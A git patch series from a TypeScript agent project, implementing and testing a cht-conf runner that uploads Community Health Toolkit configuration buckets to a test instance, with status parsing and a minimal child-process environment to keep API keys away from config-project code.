+      warnings: results.flatMap((result) => result.warnings),
+    };
   }
 
   /**
diff --git a/src/types/index.ts b/src/types/index.ts
index 2262bf27..19859423 100644
--- a/src/types/index.ts
+++ b/src/types/index.ts
@@ -774,6 +774,71 @@ export interface DiscoveredConfig {
   forms: string[];
 }
 
+/**
+ * A bucket of cht-conf upload work, mapping to the underlying cht-conf verbs
+ * (see designs/cht-conf-agent-extension.md §7.2 step 4). The agent drives these
+ * over HTTP against the instance; it never edits the config itself.
+ * - `app-settings`   compile-app-settings + upload-app-settings
+ * - `app-forms`      convert-app-forms + upload-app-forms
+ * - `contact-forms`  convert-contact-forms + upload-contact-forms
+ * - `resources`      upload-resources + upload-branding + upload-custom-translations
+ */
+export type ConfigUploadAction = 'app-settings' | 'app-forms' | 'contact-forms' | 'resources';
+
+/**
+ * Inputs to applyConfig. `configPath` defaults to cht-core's in-repo
+ * `config/default`; for cht-conf tickets it points at the mounted deployment
+ * config (CHT_CONF_PATH). `actions` narrows which cht-conf uploads run — omit
+ * to run the full set (the cht-core default-config flow).
+ */
+export interface ApplyConfigOptions {
+  /** Path to the cht-conf project to compile + upload (default: config/default). */
+  configPath?: string;
+  /** Which cht-conf upload buckets to run (default: all four). */
+  actions?: ConfigUploadAction[];
+  /**
+   * Restrict an upload to a single artifact by name (e.g. a form id like
+   * `pregnancy`) so the validate loop re-uploads only the one form it changed,
+   * matching cht-conf's `--forms=<name>` targeting. Omit to upload the whole
+   * bucket. (Real-path targeting lands in #66 Phase 2.)
+   */
+  artifact?: string;
+}
+
+/**
+ * Per-action outcome of a cht-conf upload. `uploaded` = the artifact changed and
+ * was pushed; `skipped` = cht-conf's hash check found it identical to the
+ * instance (no-op, not a failure); `failed` = the verb errored. The verify step
+ * needs this three-way distinction — a boolean can't tell "skipped" from "ran".
+ */
+export type ConfigActionStatus = 'uploaded' | 'skipped' | 'failed';
+
+/**
+ * Outcome of a single cht-conf upload bucket within applyConfig.
+ */
+export interface ConfigActionResult {
+  action: ConfigUploadAction;
+  status: ConfigActionStatus;
+  /** The cht-conf verbs this bucket ran (for evidence/logging). */
+  commands: string[];
+  warnings: string[];
+}
+
+/**
+ * Result of applying a config to the instance. The verify step (and the QA
+ * Supervisor) asserts on this rather than re-deriving success from logs.
+ */
+export interface ConfigApplyResult {
+  configPath: string;
+  /** Single artifact targeted, if the apply was narrowed to one. */
+  artifact?: string;
+  /** Per-bucket outcome, in the order the buckets ran. */
+  actions: ConfigActionResult[];
+  /** True unless some action failed (a skipped/no-change action is not a failure). */
+  succeeded: boolean;
+  warnings: string[];
+}
+
 /**
  * Tuning for readiness polling (see src/utils/cht-readiness.ts)
  */
diff --git a/test/agents/test-environment-agent.spec.ts b/test/agents/test-environment-agent.spec.ts
index 0037cab0..2460ce72 100644
--- a/test/agents/test-environment-agent.spec.ts
+++ b/test/agents/test-environment-agent.spec.ts
@@ -125,16 +125,98 @@ describe('TestEnvironmentAgent', () => {
   });
 
   describe('applyConfig', () => {
-    it('should resolve in mock mode with the default config path', async () => {
+    it('should default to config/default and run all four upload buckets', async () => {
       const handle = await provisionMock();
 
-      expect(await agent.applyConfig(handle)).to.equal(undefined);
+      const result = await agent.applyConfig(handle);
+
+      expect(result.configPath).to.equal('config/default');
+      expect(result.succeeded).to.equal(true);
+      expect(result.warnings).to.deep.equal([]);
+      expect(result.actions.map((action) => action.action)).to.deep.equal([
+        'app-settings',
+        'app-forms',
+        'contact-forms',
+        'resources',
+      ]);
     });
 
-    it('should resolve in mock mode with an explicit config path', async () => {
+    it('should accept a bare config path string (back-compat)', async () => {
       const handle = await provisionMock();
 
-      expect(await agent.applyConfig(handle, 'config/standard')).to.equal(undefined);
+      const result = await agent.applyConfig(handle, 'config/standard');
+
+      expect(result.configPath).to.equal('config/standard');
+      expect(result.actions).to.have.lengthOf(4);
+    });
+
+    it('should run only the selected actions when actions are narrowed', async () => {
+      const handle = await provisionMock();
+
+      const result = await agent.applyConfig(handle, {
+        configPath: '/mnt/cht-conf-project',
+        actions: ['app-forms'],
+      });
+
+      expect(result.configPath).to.equal('/mnt/cht-conf-project');
+      expect(result.actions).to.have.lengthOf(1);
+      expect(result.actions[0].action).to.equal('app-forms');
+    });
+
+    it('should report the underlying cht-conf commands for each action', async () => {
+      const handle = await provisionMock();
+
+      const result = await agent.applyConfig(handle, { actions: ['app-forms'] });
+
+      expect(result.actions[0].commands).to.deep.equal(['convert-app-forms', 'upload-app-forms']);
+    });
+
+    it('should report an uploaded status per action in mock mode', async () => {
+      const handle = await provisionMock();
+
+      const result = await agent.applyConfig(handle, { actions: ['app-settings'] });
+
+      expect(result.actions[0].status).to.equal('uploaded');
+    });
+
+    it('should carry the targeted artifact onto the result when narrowed to one', async () => {
+      const handle = await provisionMock();
+
+      const result = await agent.applyConfig(handle, {
+        actions: ['app-forms'],
+        artifact: 'pregnancy',
+      });
+
+      expect(result.artifact).to.equal('pregnancy');
+    });
+
+    it('should omit the artifact field when no single artifact is targeted', async () => {
+      const handle = await provisionMock();
+
+      const result = await agent.applyConfig(handle, { actions: ['app-forms'] });
+
+      expect(result.artifact).to.equal(undefined);
+    });
+
+    it('should return an empty action list when actions is an empty array', async () => {
+      const handle = await provisionMock();
+
+      const result = await agent.applyConfig(handle, { actions: [] });
+
+      expect(result.actions).to.deep.equal([]);
+      expect(result.succeeded).to.equal(true);
+    });
+
+    it('should return an isolated copy (mutation does not leak to later calls)', async () => {
+      const handle = await provisionMock();
+
+      const first = await agent.applyConfig(handle, { actions: ['app-forms'] });
+      first.actions[0].commands.push('tampered');
+      first.actions[0].warnings.push('tampered');
+
+      const second = await agent.applyConfig(handle, { actions: ['app-forms'] });
+      expect(second.actions[0].commands).to.deep.equal(['convert-app-forms', 'upload-app-forms']);
+      expect(second.actions[0].warnings).to.deep.equal([]);
     });
 
     it('should throw not-implemented in real mode', async () => {

From 38a8ba4f804f13282a9eafcf19123acd36303153 Mon Sep 17 00:00:00 2001
From: Hareet <hareet.sandhu@gmail.com>
Date: Sat, 27 Jun 2026 20:49:48 -0600
Subject: [PATCH 05/24] =?UTF-8?q?feat(#66):=20phase-2=20applyConfig=20real?=
 =?UTF-8?q?=20path=20=E2=80=94=20cht-conf=20runner=20(per-bucket=20spawn,?=
 =?UTF-8?q?=20status=20parsing)?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Implement applyConfig's !useMockDocker path. A new cht-conf-runner isolates
child_process: it spawns `cht` per upload bucket (no shell, explicit argv),
classifies the result as uploaded/skipped/failed, and never logs credentials.

- runBucket() spawns cht-conf with the autonomous-safe flags (--force,
  --skip-*-check, --accept-self-signed-certs); creds ride the --url arg.
- classifyChtConfOutput() parses status per line, skip-detected first — real
  cht-conf "no changes" lines contain the word "uploaded", so naive matching
  misclassifies them; verified against the cht-conf source strings.
- minimalEnv() passes a PATH/HOME allow-list, not the agent's full env, so the
  child (which runs config-project code) can't read LLM provider keys.
- agent loops buckets sequentially; one failure flips succeeded:false without
  aborting the rest. Mock path unchanged; both paths share toApplyResult().

591 tests pass, build + lint clean, coverage 96.66%/86.1% (Node 22).

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
---
 .../test-environment-agent.mock-data.ts       |  13 +-
 src/agents/test-environment-agent.ts          |  57 +++--
 src/types/index.ts                            |  26 ++-
 src/utils/cht-conf-runner.ts                  | 176 ++++++++++++++
 test/agents/test-environment-agent.spec.ts    |  83 ++++++-
 test/utils/cht-conf-runner.spec.ts            | 219 ++++++++++++++++++
 6 files changed, 534 insertions(+), 40 deletions(-)
 create mode 100644 src/utils/cht-conf-runner.ts
 create mode 100644 test/utils/cht-conf-runner.spec.ts

diff --git a/src/agents/test-environment-agent.mock-data.ts b/src/agents/test-environment-agent.mock-data.ts
index b0045ce8..ef9504bf 100644
--- a/src/agents/test-environment-agent.mock-data.ts
+++ b/src/agents/test-environment-agent.mock-data.ts
@@ -1,4 +1,5 @@
 import { ConfigActionResult, ConfigUploadAction, DiscoveredConfig, TestDataResult } from '../types';
+import { CONFIG_ACTION_COMMANDS } from '../utils/cht-conf-runner';
 
 /**
  * Raw deterministic fixtures for the Test Environment Agent's mock mode.
@@ -15,18 +16,6 @@ export type MockTestEnvData = {
   testData: TestDataResult;
 };
 
-/**
- * The cht-conf verbs each upload bucket runs (real-path Phase 2 shells out to
- * these; mock mode reports them as the would-run commands). Single source for
- * both the fixture and the real implementation.
- */
-export const CONFIG_ACTION_COMMANDS: Record<ConfigUploadAction, string[]> = {
-  'app-settings': ['compile-app-settings', 'upload-app-settings'],
-  'app-forms': ['convert-app-forms', 'upload-app-forms'],
-  'contact-forms': ['convert-contact-forms', 'upload-contact-forms'],
-  resources: ['upload-resources', 'upload-branding', 'upload-custom-translations'],
-};
-
 /**
  * Build a successful (uploaded), warning-free mock result for a single bucket.
  */
diff --git a/src/agents/test-environment-agent.ts b/src/agents/test-environment-agent.ts
index 78effe83..d405f06f 100644
--- a/src/agents/test-environment-agent.ts
+++ b/src/agents/test-environment-agent.ts
@@ -13,6 +13,7 @@
 
 import {
   ApplyConfigOptions,
+  ConfigActionResult,
   ConfigApplyResult,
   ConfigUploadAction,
   DiscoveredConfig,
@@ -23,6 +24,7 @@ import {
 } from '../types';
 import { MOCK_TEST_ENV_DATA, mockConfigActionResult } from './test-environment-agent.mock-data';
 import { waitForReady } from '../utils/cht-readiness';
+import { runBucket } from '../utils/cht-conf-runner';
 
 const NOT_IMPLEMENTED = 'Docker orchestration not yet implemented';
 
@@ -43,6 +45,33 @@ const DEFAULT_CONFIG_ACTIONS: ConfigUploadAction[] = [
   'resources',
 ];
 
+/**
+ * Build the cht-conf instance URL with embedded credentials
+ * (https://user:pass@host). Only the runner sees this; logs use handle.url.
+ */
+const credentialedUrl = (handle: EnvironmentHandle): string => {
+  const url = new URL(handle.url);
+  url.username = encodeURIComponent(handle.auth.user);
+  url.password = encodeURIComponent(handle.auth.password);
+  return url.toString();
+};
+
+/**
+ * Aggregate per-bucket results into the ConfigApplyResult envelope. Shared by
+ * the mock and real paths so both return an identical shape.
+ */
+const toApplyResult = (
+  configPath: string,
+  artifact: string | undefined,
+  results: ConfigActionResult[]
+): ConfigApplyResult => ({
+  configPath,
+  ...(artifact ? { artifact } : {}),
+  actions: results,
+  succeeded: results.every((result) => result.status !== 'failed'),
+  warnings: results.flatMap((result) => result.warnings),
+});
+
 export class TestEnvironmentAgent {
   private readonly useMockDocker: boolean;
 
@@ -120,26 +149,24 @@ export class TestEnvironmentAgent {
     const actions = opts.actions ?? DEFAULT_CONFIG_ACTIONS;
     const artifact = opts.artifact;
 
+    const scope = artifact ? `${actions.join(', ')}; artifact=${artifact}` : actions.join(', ');
+    console.log(`[Test Environment Agent] Applying config: ${configPath} (${scope}) -> ${handle.url}`);
+
     if (!this.useMockDocker) {
-      // Real path (#66 Phase 2): shell cht-conf over HTTP for each bucket
-      // (compile/convert + upload, optionally `--forms=<artifact>`), aggregate
-      // per-action status (uploaded/skipped/failed), never push.
-      throw new Error(NOT_IMPLEMENTED);
+      // Real path: one cht-conf invocation per bucket against the running
+      // instance (the agent runs no Docker — cht-conf talks over HTTP). Buckets
+      // run independently so one failure doesn't abort the rest; never push.
+      const instanceUrl = credentialedUrl(handle);
+      const results: ConfigActionResult[] = [];
+      for (const action of actions) {
+        results.push(await runBucket({ action, instanceUrl, configPath, artifact }));
+      }
+      return toApplyResult(configPath, artifact, results);
     }
 
-    const scope = artifact ? `${actions.join(', ')}; artifact=${artifact}` : actions.join(', ');
-    console.log(
-      `[Test Environment Agent] Applying config: ${configPath} (${scope}) -> ${handle.url}`
-    );
     const results = actions.map((action) => mockConfigActionResult(action));
     console.log(`[Test Environment Agent] (mock) config applied — ${results.length} action(s)`);
-    return {
-      configPath,
-      ...(artifact ? { artifact } : {}),
-      actions: results,
-      succeeded: results.every((result) => result.status !== 'failed'),
-      warnings: results.flatMap((result) => result.warnings),
-    };
+    return toApplyResult(configPath, artifact, results);
   }
 
   /**
diff --git a/src/types/index.ts b/src/types/index.ts
index 19859423..1dab1e15 100644
--- a/src/types/index.ts
+++ b/src/types/index.ts
@@ -798,9 +798,10 @@ export interface ApplyConfigOptions {
   actions?: ConfigUploadAction[];
   /**
    * Restrict an upload to a single artifact by name (e.g. a form id like
-   * `pregnancy`) so the validate loop re-uploads only the one form it changed,
-   * matching cht-conf's `--forms=<name>` targeting. Omit to upload the whole
-   * bucket. (Real-path targeting lands in #66 Phase 2.)
+   * `pregnancy`) so the validate loop re-uploads only the one form it changed.
+   * Passed as a positional form filter to the form-upload verbs (cht-conf's
+   * args-form-filter); ignored with a warning for the settings/resources
+   * buckets. Omit to upload the whole bucket.
    */
   artifact?: string;
 }
@@ -839,6 +840,25 @@ export interface ConfigApplyResult {
   warnings: string[];
 }
 
+/**
+ * Inputs to a single cht-conf bucket invocation (see src/utils/cht-conf-runner.ts).
+ * The runner builds the `cht` argv from these; the agent never embeds credentials
+ * in a log line.
+ */
+export interface ChtConfRunOptions {
+  action: ConfigUploadAction;
+  /** The instance URL WITH embedded credentials (https://user:pass@host). */
+  instanceUrl: string;
+  /** Project folder passed to cht-conf `--source`. */
+  configPath: string;
+  /** Optional single-form filter (positional arg on the form-upload verbs). */
+  artifact?: string;
+  /** Override the cht-conf binary (default: `cht`); lets tests stub a fake script. */
+  bin?: string;
+  /** Per-bucket timeout in ms before the process is killed and marked failed. */
+  timeoutMs?: number;
+}
+
 /**
  * Tuning for readiness polling (see src/utils/cht-readiness.ts)
  */
diff --git a/src/utils/cht-conf-runner.ts b/src/utils/cht-conf-runner.ts
new file mode 100644
index 00000000..ddf45706
--- /dev/null
+++ b/src/utils/cht-conf-runner.ts
@@ -0,0 +1,176 @@
+/**
+ * cht-conf runner for the Test Environment Layer.
+ *
+ * Isolates the `child_process` calls to cht-conf (the way cht-readiness.ts
+ * isolates `fetch`), so the Test Environment Agent stays orchestration-only.
+ * The agent NEVER runs Docker — cht-conf talks to the already-running instance
+ * over HTTP, so spawning it is allowed (and the sandbox allow-list sanctions
+ * `Bash(cht:*)`).
+ *
+ * One invocation per upload bucket: the bucket's verbs are passed as ordered
+ * actions in a single `cht` process (cht-conf runs named actions in sequence).
+ *
+ * See: designs/layer_recommendations/test-environment-layer.md,
+ *      designs/cht-conf-agent-extension.md §7.2,
+ *      docs/handoffs/66-phase2-applyconfig-implementation.md
+ */
+
+import { spawn } from 'node:child_process';
+import { ChtConfRunOptions, ConfigActionResult, ConfigActionStatus, ConfigUploadAction } from '../types';
+
+/**
+ * The cht-conf verbs each upload bucket runs, in order. Single source of truth
+ * for both the real runner and the mock fixture.
+ */
+export const CONFIG_ACTION_COMMANDS: Record<ConfigUploadAction, string[]> = {
+  'app-settings': ['compile-app-settings', 'upload-app-settings'],
+  'app-forms': ['convert-app-forms', 'upload-app-forms'],
+  'contact-forms': ['convert-contact-forms', 'upload-contact-forms'],
+  resources: ['upload-resources', 'upload-branding', 'upload-custom-translations'],
+};
+
+/**
+ * Flags that make cht-conf safe to run autonomously. Without these it BLOCKS on
+ * stdin (git-status prompt, both-changed form-conflict prompt, etc.) and the
+ * agent hangs. `--force` skips all confirmations (overwrite on conflict); the
+ * env is a throwaway test instance with a self-signed cert.
+ */
+const AUTONOMOUS_FLAGS = [
+  '--force',
+  '--skip-git-check',
+  '--skip-version-check',
+  '--skip-dependency-check',
+  '--skip-translation-check',
+  '--accept-self-signed-certs',
+  '--verbose',
+];
+
+const DEFAULT_BIN = 'cht';
+const DEFAULT_TIMEOUT_MS = 180_000;
+
+/** Buckets whose verbs accept a positional single-form filter. */
+const FORM_BUCKETS: ConfigUploadAction[] = ['app-forms', 'contact-forms'];
+
+/**
+ * cht-conf executes code from the `--source` project (app-settings build,
+ * nools, post-processing), so the child gets a minimal env — NOT the agent's
+ * full process.env, which holds LLM provider keys (ANTHROPIC_API_KEY etc.). The
+ * instance URL + creds are passed as the `--url` arg, not via env, so cht-conf
+ * needs nothing secret here. Least-privilege: a malicious config repo can't read
+ * keys that were never handed to it.
+ */
+const CHT_CONF_ENV_ALLOWLIST = ['PATH', 'HOME', 'NODE_PATH', 'TMPDIR', 'LANG', 'LC_ALL'];
+
+const minimalEnv = (): NodeJS.ProcessEnv => {
+  const env: NodeJS.ProcessEnv = {};
+  for (const key of CHT_CONF_ENV_ALLOWLIST) {
+    if (process.env[key] !== undefined) {
+      env[key] = process.env[key];
+    }
+  }
+  return env;
+};
+
+/**
+ * Build the cht-conf argv for a bucket (no credentials are logged; the URL with
+ * embedded creds lives only in the argv passed to spawn). Exported for testing.
+ */
+export const buildChtConfArgs = (options: ChtConfRunOptions): string[] => {
+  const verbs = CONFIG_ACTION_COMMANDS[options.action];
+  const args = [`--url=${options.instanceUrl}`, `--source=${options.configPath}`, ...AUTONOMOUS_FLAGS, ...verbs];
+  // A single-form filter is a positional arg consumed by the form-upload verbs.
+  if (options.artifact && FORM_BUCKETS.includes(options.action)) {
+    args.push(options.artifact);
+  }
+  return args;
+};
+
+// cht-conf logs a "no changes" line per artifact when its hash matches the
+// instance. CRUCIALLY these skip lines contain the word "uploaded" (e.g.
+// "Form x not uploaded, no changes"), so a naive /uploaded/ match misfires —
+// the skip phrasing must be detected FIRST, per line. Verified against
+// cht-conf src (upload-forms.js, upload-app-settings.js,
+// upload-custom-translations.js, upload-configuration-docs.js).
+const SKIP_LINE = /no changes|not updated|already up to date|nothing to upload/;
+// Positive upload signals that never appear in a skip line. Note the negative
+// lookahead: "not uploaded" / "not updated" must NOT count as an upload.
+const UPLOAD_LINE = /(?<!not )uploaded|upload complete|updated successfully/;
+
+/**
+ * Classify a finished cht-conf run. cht-conf exits 0 for BOTH a real upload and
+ * a hash-based skip, so status is parsed from stdout per line: a bucket counts
+ * as `uploaded` if ANY artifact actually uploaded; `skipped` if it only emitted
+ * skip lines; a non-zero exit (or spawn error) is `failed`. Exported for testing.
+ */
+export const classifyChtConfOutput = (output: string, exitCode: number | null): ConfigActionStatus => {
+  if (exitCode !== 0) {
+    return 'failed';
+  }
+  const lines = output.toLowerCase().split('\n');
+  const uploadedAny = lines.some((line) => !SKIP_LINE.test(line) && UPLOAD_LINE.test(line));
+  if (uploadedAny) {
+    return 'uploaded';
+  }
+  const skippedAny = lines.some((line) => SKIP_LINE.test(line));
+  return skippedAny ? 'skipped' : 'uploaded';
+};
+
+/**
+ * Run one cht-conf upload bucket against the instance. Resolves with the
+ * per-bucket result (never rejects — a non-zero exit or spawn error becomes
+ * `status: 'failed'` so the caller can aggregate without try/catch per bucket).
+ */
+export const runBucket = (options: ChtConfRunOptions): Promise<ConfigActionResult> => {
+  const bin = options.bin ?? DEFAULT_BIN;
+  const timeoutMs = options.timeoutMs ?? DEFAULT_TIMEOUT_MS;
+  const verbs = CONFIG_ACTION_COMMANDS[options.action];
+  const args = buildChtConfArgs(options);
+  const warnings: string[] = [];
+
+  if (options.artifact && !FORM_BUCKETS.includes(options.action)) {
+    warnings.push(`artifact targeting ignored for the ${options.action} bucket`);
+  }
+
+  // Log the verbs, never the cred-embedded URL.
+  console.log(`[cht-conf] ${options.action}: ${verbs.join(' ')} (--source=${options.configPath})`);
+
+  return new Promise((resolve) => {
+    const result = (status: ConfigActionStatus): ConfigActionResult => ({
+      action: options.action,
+      status,
+      commands: [...verbs],
+      warnings: [...warnings],
+    });
+
+    const proc = spawn(bin, args, { env: minimalEnv(), stdio: ['ignore', 'pipe', 'pipe'] });
+    const chunks: string[] = [];
+    let settled = false;
+
+    const finish = (status: ConfigActionStatus): void => {
+      if (settled) {
+        return;
+      }
+      settled = true;
+      clearTimeout(timeoutId);
+      resolve(result(status));
+    };
+
+    const timeoutId = setTimeout(() => {
+      proc.kill('SIGTERM');
+      warnings.push(`cht-conf ${options.action} timed out after ${timeoutMs}ms`);
+      finish('failed');
+    }, timeoutMs);
+
+    proc.stdout?.on('data', (data) => chunks.push(data.toString()));
+    proc.stderr?.on('data', (data) => chunks.push(data.toString()));
+
+    proc.on('error', (error) => {
+      warnings.push(`cht-conf ${options.action} failed to start: ${error.message}`);
+      finish('failed');
+    });
+
+    proc.on('close', (code) => {
+      finish(classifyChtConfOutput(chunks.join(''), code));
+    });
+  });
+};
diff --git a/test/agents/test-environment-agent.spec.ts b/test/agents/test-environment-agent.spec.ts
index 2460ce72..e11c8c3e 100644
--- a/test/agents/test-environment-agent.spec.ts
+++ b/test/agents/test-environment-agent.spec.ts
@@ -1,7 +1,15 @@
 import { expect } from 'chai';
 import * as sinon from 'sinon';
 import { TestEnvironmentAgent } from '../../src/agents/test-environment-agent';
-import { DiscoveredConfig, EnvironmentHandle, ProvisionOptions, ResetTier } from '../../src/types';
+import * as chtConfRunner from '../../src/utils/cht-conf-runner';
+import {
+  ConfigActionResult,
+  ConfigUploadAction,
+  DiscoveredConfig,
+  EnvironmentHandle,
+  ProvisionOptions,
+  ResetTier,
+} from '../../src/types';
 
 describe('TestEnvironmentAgent', () => {
   let agent: TestEnvironmentAgent;
@@ -219,21 +227,76 @@ describe('TestEnvironmentAgent', () => {
       expect(second.actions[0].warnings).to.deep.equal([]);
     });
 
-    it('should throw not-implemented in real mode', async () => {
-      const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
-      const handle: EnvironmentHandle = {
+    describe('real mode (useMockDocker: false)', () => {
+      let runBucketStub: sinon.SinonStub;
+      const dockerHandle: EnvironmentHandle = {
         url: 'https://nginx',
         auth: { user: 'medic', password: 'password' },
         network: 'cht-agent-net',
         source: 'docker',
       };
+      const uploaded = (action: ConfigUploadAction): ConfigActionResult => ({
+        action,
+        status: 'uploaded',
+        commands: [],
+        warnings: [],
+      });
 
-      try {
-        await realAgent.applyConfig(handle);
-        expect.fail('Should have thrown an error');
-      } catch (error) {
-        expect((error as Error).message).to.include('not yet implemented');
-      }
+      beforeEach(() => {
+        runBucketStub = sinon
+          .stub(chtConfRunner, 'runBucket')
+          .callsFake((opts) => Promise.resolve(uploaded(opts.action)));
+      });
+
+      afterEach(() => {
+        sinon.restore();
+      });
+
+      it('runs cht-conf per action against the instance and aggregates success', async () => {
+        const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+        const result = await realAgent.applyConfig(dockerHandle, { actions: ['app-settings', 'app-forms'] });
+
+        expect(runBucketStub.callCount).to.equal(2);
+        expect(result.succeeded).to.equal(true);
+        expect(result.actions.map((a) => a.action)).to.deep.equal(['app-settings', 'app-forms']);
+      });
+
+      it('passes the credentialed instance URL and configPath to the runner', async () => {
+        const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+        await realAgent.applyConfig(dockerHandle, { configPath: '/mnt/conf', actions: ['app-forms'] });
+
+        const passed = runBucketStub.firstCall.args[0];
+        expect(passed.instanceUrl).to.equal('https://medic:password@nginx/');
+        expect(passed.configPath).to.equal('/mnt/conf');
+        expect(passed.action).to.equal('app-forms');
+      });
+
+      it('threads the targeted artifact through to the runner', async () => {
+        const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+        await realAgent.applyConfig(dockerHandle, { actions: ['app-forms'], artifact: 'pregnancy' });
+
+        expect(runBucketStub.firstCall.args[0].artifact).to.equal('pregnancy');
+      });
+
+      it('reports succeeded:false when a bucket fails, without aborting the rest', async () => {
+        runBucketStub.restore();
+        runBucketStub = sinon.stub(chtConfRunner, 'runBucket').callsFake((opts) => {
+          const status = opts.action === 'app-forms' ? 'failed' : 'uploaded';
+          return Promise.resolve({ action: opts.action, status, commands: [], warnings: [] });
+        });
+        const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+        const result = await realAgent.applyConfig(dockerHandle, {
+          actions: ['app-settings', 'app-forms', 'resources'],
+        });
+
+        expect(runBucketStub.callCount).to.equal(3);
+        expect(result.succeeded).to.equal(false);
+        expect(result.actions.map((a) => a.status)).to.deep.equal(['uploaded', 'failed', 'uploaded']);
+      });
     });
   });
 
diff --git a/test/utils/cht-conf-runner.spec.ts b/test/utils/cht-conf-runner.spec.ts
new file mode 100644
index 00000000..eec925a3
--- /dev/null
+++ b/test/utils/cht-conf-runner.spec.ts
@@ -0,0 +1,219 @@
+import { expect } from 'chai';
+import * as sinon from 'sinon';
+import { EventEmitter } from 'node:events';
+import { buildChtConfArgs, classifyChtConfOutput } from '../../src/utils/cht-conf-runner';
+import { ChtConfRunOptions, ConfigActionResult } from '../../src/types';
+
+// eslint-disable-next-line @typescript-eslint/no-var-requires
+const proxyquire = require('proxyquire').noCallThru();
+
+// A fake child process: an EventEmitter with stdout/stderr emitters and a kill spy.
+const makeFakeProc = () => {
+  const proc = new EventEmitter() as EventEmitter & {
+    stdout: EventEmitter;
+    stderr: EventEmitter;
+    kill: sinon.SinonSpy;
+  };
+  proc.stdout = new EventEmitter();
+  proc.stderr = new EventEmitter();
+  proc.kill = sinon.spy();
+  return proc;
+};
+
+const baseOpts = (overrides: Partial<ChtConfRunOptions> = {}): ChtConfRunOptions => ({
+  action: 'app-forms',
+  instanceUrl: 'https://medic:password@nginx/',
+  configPath: '/mnt/conf',
+  ...overrides,
+});
+
+type SpawnLog = { cmd: string; args: string[]; opts: Record<string, unknown> };
+
+// Load the runner with a stubbed spawn that returns `proc` and records the call.
+const loadRunner = (proc: EventEmitter) => {
+  const spawnLog: SpawnLog[] = [];
+  const spawnStub = sinon.stub().callsFake((cmd: string, args: string[], opts: Record<string, unknown>) => {
+    spawnLog.push({ cmd, args, opts });
+    return proc;
+  });
+  const mod = proxyquire('../../src/utils/cht-conf-runner', {
+    'node:child_process': { spawn: spawnStub },
+  });
+  return { runBucket: mod.runBucket as (o: ChtConfRunOptions) => Promise<ConfigActionResult>, spawnLog };
+};
+
+describe('cht-conf-runner', () => {
+  describe('buildChtConfArgs', () => {
+    it('includes the url, source, autonomous-safe flags, and the bucket verbs', () => {
+      const args = buildChtConfArgs(baseOpts());
+
+      expect(args).to.include('--url=https://medic:password@nginx/');
+      expect(args).to.include('--source=/mnt/conf');
+      expect(args).to.include('--force');
+      expect(args).to.include('--accept-self-signed-certs');
+      expect(args).to.include('convert-app-forms');
+      expect(args).to.include('upload-app-forms');
+    });
+
+    it('appends the artifact as a positional filter for form buckets', () => {
+      const args = buildChtConfArgs(baseOpts({ action: 'app-forms', artifact: 'pregnancy' }));
+
+      expect(args[args.length - 1]).to.equal('pregnancy');
+    });
+
+    it('does not append the artifact for non-form buckets', () => {
+      const args = buildChtConfArgs(baseOpts({ action: 'app-settings', artifact: 'pregnancy' }));
+
+      expect(args).to.not.include('pregnancy');
+    });
+  });
+
+  describe('classifyChtConfOutput', () => {
+    // Literal cht-conf log strings (verified against the installed cht-conf src:
+    // upload-forms.js, upload-app-settings.js, upload-custom-translations.js,
+    // upload-configuration-docs.js). The skip strings all contain "uploaded"/
+    // "updated", so naive substring matching misclassifies them — these guard
+    // that regression.
+    const UPLOADED = {
+      form: 'Form forms/app/pregnancy.xml uploaded',
+      settings: 'Settings updated successfully',
+      translation: 'Translation translations/messages-en.properties uploaded',
+      config: 'Configuration upload complete!',
+    };
+    const SKIPPED = {
+      form: 'Form forms/app/pregnancy.xml not uploaded, no changes',
+      settings: 'Settings not updated - no changes detected',
+      translation: 'Translation translations/messages-en.properties not uploaded as no changes were found',
+      config: 'Configuration not uploaded as no changes found',
+    };
+
+    it('returns failed for a non-zero exit code regardless of output', () => {
+      expect(classifyChtConfOutput(UPLOADED.form, 1)).to.equal('failed');
+    });
+
+    it('classifies each bucket-type real upload line as uploaded', () => {
+      expect(classifyChtConfOutput(UPLOADED.form, 0)).to.equal('uploaded');
+      expect(classifyChtConfOutput(UPLOADED.settings, 0)).to.equal('uploaded');
+      expect(classifyChtConfOutput(UPLOADED.translation, 0)).to.equal('uploaded');
+      expect(classifyChtConfOutput(UPLOADED.config, 0)).to.equal('uploaded');
+    });
+
+    it('classifies each bucket-type real "no changes" line as skipped (despite the word "uploaded")', () => {
+      expect(classifyChtConfOutput(SKIPPED.form, 0)).to.equal('skipped');
+      expect(classifyChtConfOutput(SKIPPED.settings, 0)).to.equal('skipped');
+      expect(classifyChtConfOutput(SKIPPED.translation, 0)).to.equal('skipped');
+      expect(classifyChtConfOutput(SKIPPED.config, 0)).to.equal('skipped');
+    });
+
+    it('returns uploaded for a multi-form bucket where some uploaded and some skipped', () => {
+      const output = [SKIPPED.form, UPLOADED.form].join('\n');
+
+      expect(classifyChtConfOutput(output, 0)).to.equal('uploaded');
+    });
+
+    it('defaults to uploaded on a clean exit with ambiguous output', () => {
+      expect(classifyChtConfOutput('done', 0)).to.equal('uploaded');
+    });
+  });
+
+  describe('runBucket', () => {
+    afterEach(() => {
+      sinon.restore();
+    });
+
+    it('spawns the configured bin with no shell and resolves uploaded on clean exit', async () => {
+      const proc = makeFakeProc();
+      const { runBucket, spawnLog } = loadRunner(proc);
+
+      const promise = runBucket(baseOpts({ bin: 'fake-cht' }));
+      proc.stdout.emit('data', Buffer.from('Form forms/app/pregnancy.xml uploaded'));
+      proc.emit('close', 0);
+
+      const result = await promise;
+      expect(spawnLog).to.have.length(1);
+      expect(spawnLog[0].cmd).to.equal('fake-cht');
+      expect(spawnLog[0].opts).to.not.have.property('shell');
+      expect(result.status).to.equal('uploaded');
+      expect(result.commands).to.deep.equal(['convert-app-forms', 'upload-app-forms']);
+    });
+
+    it('does not pass secret-bearing env vars to the cht-conf child', async () => {
+      const proc = makeFakeProc();
+      const { runBucket, spawnLog } = loadRunner(proc);
+      const prior = process.env.ANTHROPIC_API_KEY;
+      process.env.ANTHROPIC_API_KEY = 'sk-should-not-leak';
+
+      const promise = runBucket(baseOpts());
+      proc.emit('close', 0);
+      await promise;
+
+      const childEnv = spawnLog[0].opts.env as NodeJS.ProcessEnv;
